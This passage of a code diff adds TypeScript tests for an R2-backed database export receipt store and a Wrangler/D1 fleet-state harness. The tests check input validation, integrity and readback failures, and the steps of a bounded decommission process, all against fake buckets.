+          { ...receiptIdentity(createStore(new FakeR2Bucket())) },
+          { [Symbol('extra')]: true },
+        ),
+        'database export receipt identity is malformed',
+      ],
+      [
+        Object.defineProperty(
+          { ...receiptIdentity(createStore(new FakeR2Bucket())) },
+          'databaseId',
+          {
+            enumerable: true,
+            get(): never {
+              throw new Error('identity accessor must not run');
+            },
+          },
+        ),
+        'database export receipt identity is malformed',
+      ],
+      [
+        (() => {
+          const revoked = Proxy.revocable(
+            { ...receiptIdentity(createStore(new FakeR2Bucket())) },
+            {},
+          );
+          revoked.revoke();
+          return revoked.proxy;
+        })(),
+        'database export receipt identity is malformed',
+      ],
+      [
+        new Proxy({ ...receiptIdentity(createStore(new FakeR2Bucket())) }, {}),
+        'database export receipt identity is malformed',
+      ],
+      [
+        {
+          ...receiptIdentity(createStore(new FakeR2Bucket())),
+          operationId: 'AAAAAAAA-AAAA-4AAA-8AAA-AAAAAAAAAAAA',
+        },
+        'database export receipt identity is malformed',
+      ],
+      [
+        (() => {
+          const identity = {
+            ...receiptIdentity(createStore(new FakeR2Bucket())),
+          };
+          Reflect.deleteProperty(identity, 'operationId');
+          return identity;
+        })(),
+        'database export receipt identity is malformed',
+      ],
+      [
+        {
+          ...receiptIdentity(createStore(new FakeR2Bucket())),
+          authority: 'r2://different/receipts/v1',
+        },
+        'database export receipt authority differs from configured authority',
+      ],
+    ];
+    for (const [identity, message] of malformedIdentities) {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const streamed = streamFrom(source, { stayOpen: true });
+      await rejection(
+        store.writeReceipt({
+          identity: identity as DatabaseExportReceiptIdentity,
+          body: streamed.body,
+          contentLength: source.byteLength,
+          expectedIntegrity: Promise.resolve(integrityOf(source)),
+        }),
+        message,
+      );
+      expect(streamed.cancellations).toHaveLength(1);
+      expect(bucket.getCalls).toBe(0);
+      expect(bucket.putCalls).toBe(0);
+    }
+
+    for (const contentLength of [
+      undefined,
+      0,
+      -1,
+      1.5,
+      Number.MAX_SAFE_INTEGER + 1,
+    ]) {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const streamed = streamFrom(source, { stayOpen: true });
+      await rejection(
+        store.writeReceipt({
+          identity: receiptIdentity(store),
+          body: streamed.body,
+          contentLength,
+          expectedIntegrity: Promise.resolve(integrityOf(source)),
+        }),
+        'database export receipt contentLength must be a positive safe integer',
+      );
+      expect(streamed.cancellations).toHaveLength(1);
+      expect(bucket.getCalls).toBe(0);
+      expect(bucket.putCalls).toBe(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const locked = streamFrom(source).body;
+      locked.getReader();
+      await rejection(
+        writeReceipt(store, source, { body: locked }),
+        'database export receipt body is locked or malformed',
+      );
+      expect(bucket.getCalls).toBe(0);
+      expect(bucket.putCalls).toBe(0);
+    }
+
+    for (const cancellation of ['throw', 'reject'] as const) {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const reasons: unknown[] = [];
+      const scripted = streamFrom(source, {
+        stayOpen: true,
+        rejectCancel: cancellation === 'reject',
+      });
+      const body =
+        cancellation === 'reject'
+          ? scripted.body
+          : ({
+              locked: false,
+              cancel(reason: unknown): never {
+                reasons.push(reason);
+                throw new Error('synchronous cancellation failure');
+              },
+            } as unknown as ReadableStream<Uint8Array>);
+      const error = await rejection(
+        store.writeReceipt({
+          identity: { ...receiptIdentity(store), version: 2 } as never,
+          body,
+          contentLength: source.byteLength,
+          expectedIntegrity: Promise.resolve(integrityOf(source)),
+        }),
+        'database export receipt identity is malformed',
+      );
+      if (cancellation === 'throw') expect(reasons).toEqual([error]);
+      else expect(scripted.cancellations).toEqual([error]);
+      expect(bucket.getCalls).toBe(0);
+      expect(bucket.putCalls).toBe(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const streamed = streamFrom(source, { stayOpen: true });
+      const thenable = Object.defineProperty({}, 'then', {
+        value() {},
+      }) as unknown as Promise<DatabaseExportIntegrity>;
+      await rejection(
+        writeReceipt(store, source, {
+          body: streamed.body,
+          expectedIntegrity: thenable,
+        }),
+        'database export receipt integrity is malformed',
+      );
+      expect(streamed.cancellations).toHaveLength(1);
+      expect(bucket.getCalls).toBe(0);
+      expect(bucket.putCalls).toBe(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const streamed = streamFrom(source, { stayOpen: true });
+      const input = Object.defineProperties(Object.create(null), {
+        body: { enumerable: true, value: streamed.body },
+        expectedIntegrity: {
+          enumerable: true,
+          get(): never {
+            throw new Error('expected-integrity accessor must not escape');
+          },
+        },
+      });
+      await rejection(
+        store.writeReceipt(input as never),
+        'database export receipt integrity is malformed',
+      );
+      expect(streamed.cancellations).toHaveLength(1);
+      expect(bucket.getCalls).toBe(0);
+      expect(bucket.putCalls).toBe(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const error = await rejection(
+        writeReceipt(store, source, {
+          expectedIntegrity: Promise.resolve({
+            size: 0,
+            sha256: '0'.repeat(64),
+          }),
+        }),
+        'database export receipt integrity is malformed',
+      );
+      expect(error).not.toHaveProperty('cause');
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const error = await rejection(
+        writeReceipt(store, source, {
+          expectedIntegrity: Promise.resolve(
+            new Proxy(integrityOf(source), {}),
+          ),
+        }),
+        'database export receipt integrity is malformed',
+      );
+      expect(error).not.toHaveProperty('cause');
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const expected = Promise.resolve(integrityOf(source));
+      Object.defineProperty(expected, 'then', {
+        value(): never {
+          throw new Error('caller-owned then must not run');
+        },
+      });
+      await expect(
+        writeReceipt(store, source, { expectedIntegrity: expected }),
+      ).resolves.toEqual({
+        location: `r2://exports/${receiptKey()}`,
+        ...integrityOf(source),
+      });
+    }
+
+    for (const delta of [0, 1] as const) {
+      const baseLength = receiptKey().length;
+      const segmentLength = 1_024 - baseLength - 1 + delta;
+      const prefix = `${'a'.repeat(segmentLength)}/`;
+      expect(new TextEncoder().encode(receiptKey(prefix))).toHaveLength(
+        1_024 + delta,
+      );
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket, { keyPrefix: prefix });
+      const operation = writeReceipt(store, source);
+      if (delta === 0) {
+        await expect(operation).resolves.toMatchObject(integrityOf(source));
+      } else {
+        await rejection(
+          operation,
+          'database export receipt key exceeds 1024 UTF-8 bytes',
+        );
+        expect(bucket.getCalls).toBe(0);
+        expect(bucket.putCalls).toBe(0);
+      }
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    for (const putMode of [
+      'normal',
+      'reject-before',
+      'reject-after-commit',
+      'null-before-read',
+    ] satisfies readonly PutMode[]) {
+      const bucket = new FakeR2Bucket();
+      bucket.putMode = putMode;
+      const store = createStore(bucket);
+      const error = await rejection(
+        within(
+          writeReceipt(store, source, {
+            expectedIntegrity: Promise.reject(
+              new Error(`source failed during ${putMode}`),
+            ),
+          }),
+          `${putMode} plus rejected integrity did not settle`,
+        ),
+        'database export receipt integrity is malformed',
+      );
+      expect(error).not.toHaveProperty('cause');
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    for (const errorAfter of [0, 2] as const) {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const streamed = streamFrom(source, { errorAfter });
+      await rejection(
+        within(
+          writeReceipt(store, source, {
+            body: streamed.body,
+            expectedIntegrity: Promise.resolve(integrityOf(source)),
+          }),
+          `source error after ${errorAfter} bytes did not settle`,
+        ),
+        'R2 export upload failed',
+      );
+      expect(bucket.objects).toHaveLength(0);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      bucket.putResolveAfterBytes = source.byteLength;
+      const store = createStore(bucket);
+      const streamed = streamFrom(source, {
+        errorAfter: source.byteLength,
+      });
+      await rejection(
+        within(
+          writeReceipt(store, source, {
+            body: streamed.body,
+            expectedIntegrity: Promise.resolve(integrityOf(source)),
+          }),
+          'post-commit source error did not settle',
+        ),
+        'R2 export body did not stream completely',
+      );
+      expect(bucket.objects.get(receiptKey())).toEqual(source);
+      expect(bucket.deleteCalls).toHaveLength(0);
+      bucket.putResolveAfterBytes = undefined;
+      await expect(writeReceipt(store, source)).resolves.toEqual({
+        location: `r2://exports/${receiptKey()}`,
+        ...integrityOf(source),
+      });
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const streamed = streamFrom(source, { errorAfter: 2 });
+      const [storeBody, hashBody] = streamed.body.tee();
+      await rejection(
+        within(
+          writeReceipt(store, source, {
+            body: storeBody,
+            expectedIntegrity: integrityOfBody(hashBody),
+          }),
+          'two-branch source error did not settle',
+        ),
+        'database export receipt integrity is malformed',
+      );
+      expect(bucket.objects).toHaveLength(0);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    for (const [getMode, message] of [
+      ['size-mismatch', 'database export receipt readback failed'],
+      ['short', 'database export receipt readback failed'],
+      ['read-error', 'database export receipt readback failed'],
+      [
+        'tamper',
+        'database export receipt collision differs from the committed export',
+      ],
+    ] satisfies readonly (readonly [GetMode, string])[]) {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      seedReceipt(bucket, store, source);
+      bucket.getMode = getMode;
+      await rejection(writeReceipt(store, source), message);
+      expect(bucket.objects.get(receiptKey())).toEqual(source);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      bucket.onPut = () => {
+        bucket.getMode = 'get-reject';
+      };
+      await rejection(
+        writeReceipt(store, source),
+        'database export receipt readback failed',
+      );
+      expect(bucket.objects.get(receiptKey())).toEqual(source);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      bucket.getMode = 'get-reject';
+      const store = createStore(bucket);
+      const streamed = streamFrom(source, { stayOpen: true });
+      await rejection(
+        within(
+          writeReceipt(store, source, {
+            body: streamed.body,
+            expectedIntegrity: new Promise(() => undefined),
+          }),
+          'preflight get rejection awaited integrity',
+        ),
+        'database export receipt readback failed',
+      );
+      expect(streamed.cancellations).toHaveLength(1);
+      expect(bucket.putCalls).toBe(0);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      bucket.getMode = 'get-reject';
+      const error = await rejection(
+        writeReceipt(createStore(bucket), source, {
+          expectedIntegrity: Promise.reject(
+            new Error('rejected alongside preflight get'),
+          ),
+        }),
+        'database export receipt readback failed',
+      );
+      expect(error).not.toHaveProperty('cause');
+      expect(bucket.putCalls).toBe(0);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      seedReceipt(bucket, store, source, { wrong: 'metadata' });
+      await rejection(
+        within(
+          writeReceipt(store, source, {
+            expectedIntegrity: new Promise(() => undefined),
+          }),
+          'metadata mismatch awaited integrity',
+        ),
+        'database export receipt collision differs from the committed export',
+      );
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      seedReceipt(bucket, store, source, { wrong: 'metadata' });
+      const error = await rejection(
+        writeReceipt(store, source, {
+          expectedIntegrity: Promise.reject(
+            new Error('rejected alongside metadata mismatch'),
+          ),
+        }),
+        'database export receipt collision differs from the committed export',
+      );
+      expect(error).not.toHaveProperty('cause');
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      seedReceipt(bucket, store, source);
+      bucket.getMode = 'read-error';
+      const error = await rejection(
+        writeReceipt(store, source, {
+          expectedIntegrity: Promise.reject(new Error('source failed')),
+        }),
+        'database export receipt integrity is malformed',
+      );
+      expect(error).not.toHaveProperty('cause');
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+
+    {
+      const bucket = new FakeR2Bucket();
+      const store = createStore(bucket);
+      const declared = integrityOf(source);
+      const error = await rejection(
+        writeReceipt(store, source, {
+          expectedIntegrity: Promise.resolve({
+            ...declared,
+            sha256: '0'.repeat(64),
+          }),
+        }),
+        'database export receipt source integrity differs from the streamed export',
+      );
+      expect(error).not.toHaveProperty('cause');
+      expect(bucket.objects.get(receiptKey())).toEqual(source);
+      expect(bucket.deleteCalls).toHaveLength(0);
+    }
+  });
+
+  it('satisfies the database export store contract', () => {
+    const store: DurableDatabaseExportStore = createStore(new FakeR2Bucket());
+    expect(store).toBeInstanceOf(R2DatabaseExportStore);
+  });
+});
diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts
index 84cf2943..ed522e57 100644
--- a/packages/fleet-control/test/state-store.harness.test.ts
+++ b/packages/fleet-control/test/state-store.harness.test.ts
@@ -6,6 +6,13 @@ import {
   type TestHarness,
   type WorkerHandle,
 } from 'wrangler';
+import type { FleetInventoryAdvanceResult } from '../src/fleet-inventory-advance.js';
+import {
+  type FleetInventoryRunRecord,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  fleetInventoryOptionsDigest,
+} from '../src/fleet-inventory-state.js';
 
 const ROOT = new URL('..', import.meta.url).pathname;
 const PROBE = new URL(
@@ -19,6 +26,233 @@ interface ProbeError {
   readonly errors?: readonly ProbeError[];
 }
 
+interface InventorySnapshot {
+  heads: Array<{
+    account_id: string;
+    active_operation_id: string | null;
+    latest_finalized_generation: number | null;
+    next_generation: number;
+  }>;
+  runs: Array<{
+    account_id: string;
+    operation_id: string;
+    generation: number;
+    options_digest: string;
+    run_record: string;
+    created_at_ms: number;
+    finalized_at_ms: number | null;
+  }>;
+  rows: Array<{
+    account_id: string;
+    generation: number;
+    kind: string;
+    ordinal: number;
+    payload: string;
+  }>;
+  facts: Array<{
+    account_id: string;
+    generation: number;
+    deployment_ordinal: number;
+    fact_kind: string;
+    fact_ordinal: number;
+    payload: string;
+  }>;
+}
+
+interface InventoryCommitRefusalProbe {
+  prior: FleetInventoryRunRecord;
+  intended: FleetInventoryRunRecord;
+  attempted: {
+    runRecord: FleetInventoryRunRecord;
+    rows: FleetInventoryStagedRow[];
+    facts: FleetInventoryStagedFact[];
+  };
+  before: InventorySnapshot;
+  afterRefusal: InventorySnapshot;
+  refused: ProbeError | null;
+  accepted: FleetInventoryRunRecord | null;
+  acceptanceError: ProbeError | null;
+  afterAcceptance: InventorySnapshot;
+  replay: FleetInventoryRunRecord | null;
+  afterReplay: InventorySnapshot;
+}
+
+interface OperationSnapshot {
+  revision: number | null;
+  record: string | null;
+  rows: Array<{ row_kind: string; ordinal: number; payload: string }>;
+}
+
+interface OperationCommitProbe {
+  before: OperationSnapshot;
+  afterRefusal: OperationSnapshot;
+  refused: ProbeError | null;
+  accepted: { progress: { revision: number } };
+  afterAcceptance: OperationSnapshot;
+  replay: { progress: { revision: number } };
+  afterReplay: OperationSnapshot;
+}
+
+interface CleanupTerminalProbe {
+  stale: ProbeError | undefined;
+  rowPhaseAfterStale: string | null;
+  receiptsAfterStale: number;
+  claimsBefore: number;
+  claimsAfter: number;
+  rowAfterTerminal: string | null;
+  persistedHasCompletedAt: boolean;
+  replayEqual: boolean;
+  keyOrderReplayEqual: boolean;
+  conflict: ProbeError | undefined;
+  foreign: ProbeError | undefined;
+  reprovisionPhase: string | null;
+  survivingOperationId: string | null;
+}
+
+interface CleanupPruneProbe {
+  invalid: (ProbeError | undefined)[];
+  untouched: number;
+  nothing: { deleted: number };
+  firstTwo: { deleted: number };
+  remainingAfterFirstTwo: string[];
+  lowerBound: { deleted: number };
+  rest: { deleted: number };
+  finalCount: number;
+}
+
+interface CleanupClaimsProbe {
+  identities: { resource_set_key: string; platform_plane_identity: string }[];
+  claimsAfter: number;
+  rowAfter: string | null;
+}
+
+interface BoundedDecommissionProbe {
+  readonly result: {
+    readonly status: 'pending' | 'blocked' | 'complete';
+    readonly token: {
+      readonly version: 1;
+      readonly tenantTag: string;
+      readonly environment: string;
+      readonly operationId: string;
+      readonly revision: number;
+    };
+  };
+  readonly trace: string[];
+  readonly phase: string;
+  readonly lifecyclePhase: string;
+  readonly intentState: string;
+  readonly revision: number;
+  readonly generation: number;
+  readonly resourceStates: string[];
+  readonly bucketName: string;
+  readonly lostWriteCount: number;
+  readonly precommitWriteFailureCount: number;
+  readonly provider: {
+    readonly databaseId: string;
+    readonly databasePresent: boolean;
+    readonly observedDatabaseId: string;
+    readonly observedDatabaseName: string;
+    readonly owner: string;
+    readonly receiptAuthority: string | null;
+    readonly receiptOperationId: string | null;
+    readonly receiptLocation: string | null;
+    readonly receiptSize: number | null;
+    readonly receiptSha256: string | null;
+    readonly receiptCommitCount: number;
+    readonly exportCallCount: number;
+    readonly deleteCount: number;
+    readonly ownershipAssertionCount: number;
+  };
+  readonly claims: Array<{
+    readonly resourceType: string;
+    readonly resourceName: string;
+    readonly resourceRole: string;
+  }>;
+}
+
+const INVENTORY_OPERATION_ID = '123e4567-e89b-42d3-a456-426614174200';
+
+function expectInventorySeed(
+  snapshot: InventorySnapshot,
+  record: FleetInventoryRunRecord,
+) {
+  expect(record).toMatchObject({
+    state: 'staging',
+    options: { scriptNamePrefix: 'anchorage' },
+    progress: { generation: 1, revision: 1, factCount: 1 },
+  });
+  expect(snapshot.runs).toEqual([
+    {
+      account_id: 'account-inventory',
+      operation_id: record.operationId,
+      generation: 1,
+      options_digest: fleetInventoryOptionsDigest(record.options),
+      run_record: JSON.stringify(record),
+      created_at_ms: expect.any(Number),
+      finalized_at_ms: null,
+    },
+  ]);
+  expect(snapshot.rows).toEqual(
+    ['deployment', 'finding', 'registration'].map((kind) => ({
+      account_id: 'account-inventory',
+      generation: 1,
+      kind,
+      ordinal: 0,
+      payload: JSON.stringify(
+        kind === 'finding'
+          ? { detail: 'stale route prior' }
+          : { scriptName: 'prior' },
+      ),
+    })),
+  );
+  expect(snapshot.facts).toEqual([
+    {
+      account_id: 'account-inventory',
+      generation: 1,
+      deployment_ordinal: 0,
+      fact_kind: 'secret-name',
+      fact_ordinal: 0,
+      payload: JSON.stringify({ name: 'ANCHORAGE_NAME_0' }),
+    },
+  ]);
+}
+
+function expectInventoryRefusalAndReplay(result: InventoryCommitRefusalProbe) {
+  expectInventorySeed(result.before, result.prior);
+  expect(result.afterRefusal).toEqual(result.before);
+  expect(result.intended.progress.revision).toBe(2);
+  expect(result.afterAcceptance.runs).toEqual([
+    { ...result.before.runs[0], run_record: JSON.stringify(result.intended) },
+  ]);
+  expect(result.afterAcceptance.rows).toEqual([
+    result.before.rows[0],
+    result.before.rows[1],
+    {
+      account_id: 'account-inventory',
+      generation: 1,
+      kind: 'meta',
+      ordinal: 0,
+      payload: JSON.stringify({ marker: 'earlier-sibling' }),
+    },
+    result.before.rows[2],
+  ]);
+  expect(result.afterAcceptance.facts).toEqual([
+    ...result.before.facts,
+    {
+      account_id: 'account-inventory',
+      generation: 1,
+      deployment_ordinal: 0,
+      fact_kind: 'secret-name',
+      fact_ordinal: 1,
+      payload: JSON.stringify({ name: 'ANCHORAGE_NAME_1' }),
+    },
+  ]);
+  expect(result.afterReplay).toEqual(result.afterAcceptance);
+  expect(result.acceptanceError).toBeNull();
+  expect(result.accepted).toEqual(result.intended);
+  expect(result.replay).toEqual(result.intended);
+}
+
 function harnessOptions() {
   return {
     root: ROOT,
@@ -43,7 +277,7 @@ function harnessOptions() {
 }
 
 describe.sequential('D1FleetStateStore Wrangler harness', {
-  timeout: 30_000,
+  timeout: 150_000,
 }, () => {
   let server: TestHarness;
   let worker: WorkerHandle;
@@ -52,17 +286,20 @@ describe.sequential('D1FleetStateStore Wrangler harness', {
     server = createTestHarness(harnessOptions());
     await server.listen();
     worker = server.getWorker();
-  }, 30_000);
+  }, 150_000);
 
   afterAll(async () => {
     await server.close();
-  }, 30_000);
+  }, 150_000);
 
-  async function probe<T>(action: string): Promise<T> {
+  async function probe<T>(action: string, input?: unknown): Promise<T> {
     const response = await worker.fetch('/fleet-state', {
       method: 'POST',
       headers: { 'content-type': 'application/json' },
-      body: JSON.stringify({ action }),
+      body: JSON.stringify({
+        action,
+        ...(input === undefined ? {} : { input }),
+      }),
     });
     const body = (await response.json()) as T | { error: ProbeError };
     if (!response.ok) {
@@ -92,7 +329,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', {
     expect(result.explicit.after).toBeGreaterThan(14 * 60_000);
     expect(result.heartbeatObserved).toBe(true);
     expect(result.contenderRejected).toBe(true);
-  }, 30_000);
+  });
 
   it('allows DB-expired takeover and fences every stale state mutation', async () => {
     const result = await probe<{
@@ -179,7 +416,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', {
         'platform-renewal',
       ),
     ).resolves.toEqual({ heartbeatObserved: true, contenderRejected: true });
-  }, 30_000);
+  });
 
   it('mutually excludes ordinary Worker claims in both durable claim directions', async () => {
     const result = await probe<{
@@ -242,6 +479,818 @@ describe.sequential('D1FleetStateStore Wrangler harness', {
     });
   });
 
+  it('upgrades a legacy table and round-trips the decommission shell', async () => {
+    await expect(
+      probe<{
+        phase: string;
+        revision: number;
+        columns: string[];
+      }>('decommission-intent-column-upgrade'),
+    ).resolves.toEqual({
+      phase: 'decommission-advancing',
+      revision: 1,
+      columns: [
+        'backend_switch_intent',
+        'cleanup_intent',
+        'invocation_authority',
+        'settled_settlement_key',
+        'wfp_mode',
+        'decommission_intent',
+      ],
+    });
+  });
+
+  it('converges only exact lost decommission writes in real D1', async () => {
+    const result = await probe<{
+      exactRevision: number;
+      changedFailure: ProbeError;
+      finalRevision: number;
+      claimCount: number;
+    }>('decommission-intent-lost-response');
+
+    expect(result).toEqual({
+      exactRevision: 1,
+      changedFailure: {
+        name: 'Error',
+        message: expect.stringContaining('mixed atomic ownership commit'),
+      },
+      finalRevision: 3,
+      claimCount: 1,
+    });
+  });
+
+  it('persists one bounded R2 step per Worker request through two-pass detach and deletion', async () => {
+    const step = (
+      operation: Readonly<
+        { kind: 'start' } | { kind: 'continue'; token: unknown }
+      >,
+    ) =>
+      probe<BoundedDecommissionProbe>('bounded-decommission-step', {
+        tenantTag: 'advance',
+        operation,
+      });
+    const results: BoundedDecommissionProbe[] = [];
+    results.push(await step({ kind: 'start' }));
+    for (let index = 0; index < 20; index += 1) {
+      if (results.at(-1)?.result.status === 'complete') break;
+      results.push(
+        await step({
+          kind: 'continue',
+          token: results.at(-1)?.result.token,
+        }),
+      );
+    }
+
+    expect(
+      results.map((result) => ({
+        revision: result.revision,
+        generation: result.generation,
+        lifecyclePhase: result.lifecyclePhase,
+        intentState: result.intentState,
+        resourceState: result.resourceStates[0],
+        trace: result.trace,
+      })),
+    ).toEqual([
+      {
+        revision: 0,
+        generation: 0,
+        lifecyclePhase: 'application-resources-deleting',
+        intentState: 'transitioning',
+        resourceState: 'created',
+        trace: [],
+      },
+      {
+        revision: 1,
+        generation: 1,
+        lifecyclePhase: 'application-resources-deleting',
+        intentState: 'discover',
+        resourceState: 'detach-authorized',
+        trace: ['r2-find'],
+      },
+      {
+        revision: 2,
+        generation: 1,
+        lifecyclePhase: 'application-resources-deleting',
+        intentState: 'verify',
+        resourceState: 'detach-authorized',
+        trace: ['r2-find', 'scan:discover'],
+      },
+      {
+        revision: 3,
+        generation: 1,
+        lifecyclePhase: 'application-resources-deleting',
+        intentState: 'transitioning',
+        resourceState: 'detached',
+        trace: ['r2-find', 'scan:verify'],
+      },
+      {
+        revision: 4,
+        generation: 1,
+        lifecyclePhase: 'application-resources-deleting',
+        intentState: 'transitioning',
+        resourceState: 'empty-authorized',
+        trace: ['r2-find'],
+      },
+      {
+        revision: 5,
+        generation: 1,
+        lifecyclePhase: 'application-resources-deleting',
+        intentState: 'transitioning',
+        resourceState: 'empty',
+        trace: ['r2-find', 'r2-empty'],
+      },
+      {
+        revision: 6,
+        generation: 1,
+        lifecyclePhase: 'application-resources-deleting',
+        intentState: 'transitioning',
+        resourceState: 'delete-authorized',
+        trace: [],
+      },
+      {
+        revision: 7,
+        generation: 1,
+        lifecyclePhase: 'application-resources-deleting',
+        intentState: 'transitioning',
+        resourceState: 'deleted',
+        trace: ['r2-find', 'r2-delete', 'r2-find'],
+      },
+      {
+        revision: 8,
+        generation: 1,
+        lifecyclePhase: 'application-resources-deleted',
+        intentState: 'transitioning',
+        resourceState: 'deleted',
+        trace: ['r2-find'],
+      },
+      {
+        revision: 9,
+        generation: 2,
+        lifecyclePhase: 'application-resources-deleted',
+        intentState: 'discover',
+        resourceState: 'deleted',
+        trace: ['d1-get', 'd1-owner'],
+      },
+      {
+        revision: 10,
+        generation: 2,
+        lifecyclePhase: 'application-resources-deleted',
+        intentState: 'verify',
+        resourceState: 'deleted',
+        trace: ['d1-get', 'd1-owner', 'scan:discover'],
+      },
+      {
+        revision: 11,
+        generation: 2,
+        lifecyclePhase: 'database-exported',
+        intentState: 'transitioning',
+        resourceState: 'deleted',
+        trace: [
+          'd1-get',
+          'd1-owner',
+          'scan:verify',
+          'd1-get',
+          'd1-owner',
+          'd1-residuals',
+          'd1-export',
+        ],
+      },
+      {
+        revision: 12,
+        generation: 3,
+        lifecyclePhase: 'database-exported',
+        intentState: 'discover',
+        resourceState: 'deleted',
+        trace: ['d1-get', 'd1-owner'],
+      },
+      {
+        revision: 13,
+        generation: 3,
+        lifecyclePhase: 'database-exported',
+        intentState: 'verify',
+        resourceState: 'deleted',
+        trace: ['d1-get', 'd1-owner', 'scan:discover'],
+      },
+      {
+        revision: 14,
+        generation: 3,
+        lifecyclePhase: 'database-deleting',
+        intentState: 'transitioning',
+        resourceState: 'deleted',
+        trace: [
+          'd1-get',
+          'd1-owner',
+          'scan:verify',
+          'd1-get',
+          'd1-owner',
+          'd1-residuals',
+          'd1-delete',
+          'd1-get',
+        ],
+      },
+      {
+        revision: 15,
+        generation: 3,
+        lifecyclePhase: 'decommissioned',
+        intentState: 'complete',
+        resourceState: 'deleted',
+        trace: ['d1-get'],
+      },
+    ]);
+
+    const expectedClaims = [
+      {
+        resourceType: 'r2-bucket',
+        resourceName: results[0]?.bucketName,
+        resourceRole: 'deployment-r2',
+      },
+      {
+        resourceType: 'worker-script',
+        resourceName: 'advance-worker',
+        resourceRole: 'deployment-worker',
+      },
+    ];
+    for (const result of results.slice(0, -1)) {
+      expect(result.result.status).toBe('pending');
+      expect(result.phase).toBe('decommission-advancing');
+      expect(result.claims).toEqual(expectedClaims);
+      expect(result.lostWriteCount).toBe(0);
+    }
+    const terminal = results.at(-1);
+    expect(terminal).toMatchObject({
+      result: { status: 'complete' },
+      phase: 'decommissioned',
+      provider: {
+        databaseId: '00000000-0000-4000-8000-000000000201',
+        databasePresent: false,
+        receiptAuthority: 'd1-test://fleet-exports/receipts/v1',
+        receiptOperationId: '00000000-0000-4000-8000-000000000101',
+        receiptSize: 37,
+        receiptSha256: 'c'.repeat(64),
+        receiptCommitCount: 1,
+        exportCallCount: 1,
+        deleteCount: 1,
+      },
+      claims: expectedClaims,
+      lostWriteCount: 0,
+      precommitWriteFailureCount: 0,
+    });
+
+    const reset = () =>
+      probe<{ reset: true }>('bounded-decommission-reset', {
+        tenantTag: 'advance',
+      });
+    const reachD1Verify = async (
+      boundary: 'application-resources-deleted' | 'database-exported',
+    ): Promise<BoundedDecommissionProbe> => {
+      await reset();
+      let current = await probe<BoundedDecommissionProbe>(
+        'bounded-decommission-step',
+        {
+          tenantTag: 'advance',
+          operation: { kind: 'start' },
+          seedAtD1: true,
+        },
+      );
+      for (let index = 0; index < 8; index += 1) {
+        if (
+          current.lifecyclePhase === boundary &&
+          current.intentState === 'verify'
+        ) {
+          return current;
+        }
+        current = await probe<BoundedDecommissionProbe>(
+          'bounded-decommission-step',
+          {
+            tenantTag: 'advance',
+            operation: { kind: 'continue', token: current.result.token },
+          },
+        );
+      }
+      throw new Error(`bounded harness did not reach ${boundary} verify`);
+    };
+    const postScanMutations = [
+      { mutation: 'absent', error: 'is absent' },
+      { mutation: 'id', error: 'resolved with unexpected identity' },
+      { mutation: 'name', error: 'resolved with unexpected identity' },
+      { mutation: 'owner', error: "owned by 'foreign'" },
+    ] as const;
+    for (const boundary of [
+      'application-resources-deleted',
+      'database-exported',
+    ] as const) {
+      for (const row of postScanMutations) {
+        const verify = await reachD1Verify(boundary);
+        await expect(
+          probe<BoundedDecommissionProbe>('bounded-decommission-step', {
+            tenantTag: 'advance',
+            operation: { kind: 'continue', token: verify.result.token },
+            afterScan: row.mutation,
+          }),
+        ).rejects.toThrow(row.error);
+      }
+    }
+    await reset();
+  });
+
+  it('converges a lost coordinator write and makes the replayed token stale in real D1', async () => {
+    const step = (
+      operation: Readonly<
+        { kind: 'start' } | { kind: 'continue'; token: unknown }
+      >,
+      faults: Readonly<{
+        failWriteBeforeCommit?: boolean;
+        loseWrite?: boolean;
+        loseReceiptResponse?: boolean;
+        loseDeleteResponse?: boolean;
+        nextExportOutcome?:
+          | Readonly<{
+              status: 'fulfilled';
+              value?: 'default' | 'present' | 'absent';
+            }>
+          | Readonly<{
+              status: 'rejected';
+              reason: 'error' | 'null' | 'undefined';
+            }>;
+        nextDeleteOutcome?:
+          | Readonly<{
+              status: 'fulfilled';
+              value?: 'default' | 'present' | 'absent';
+            }>
+          | Readonly<{
+              status: 'rejected';
+              reason: 'error' | 'null' | 'undefined';
+            }>;
+        nextReadbackOutcome?:
+          | Readonly<{
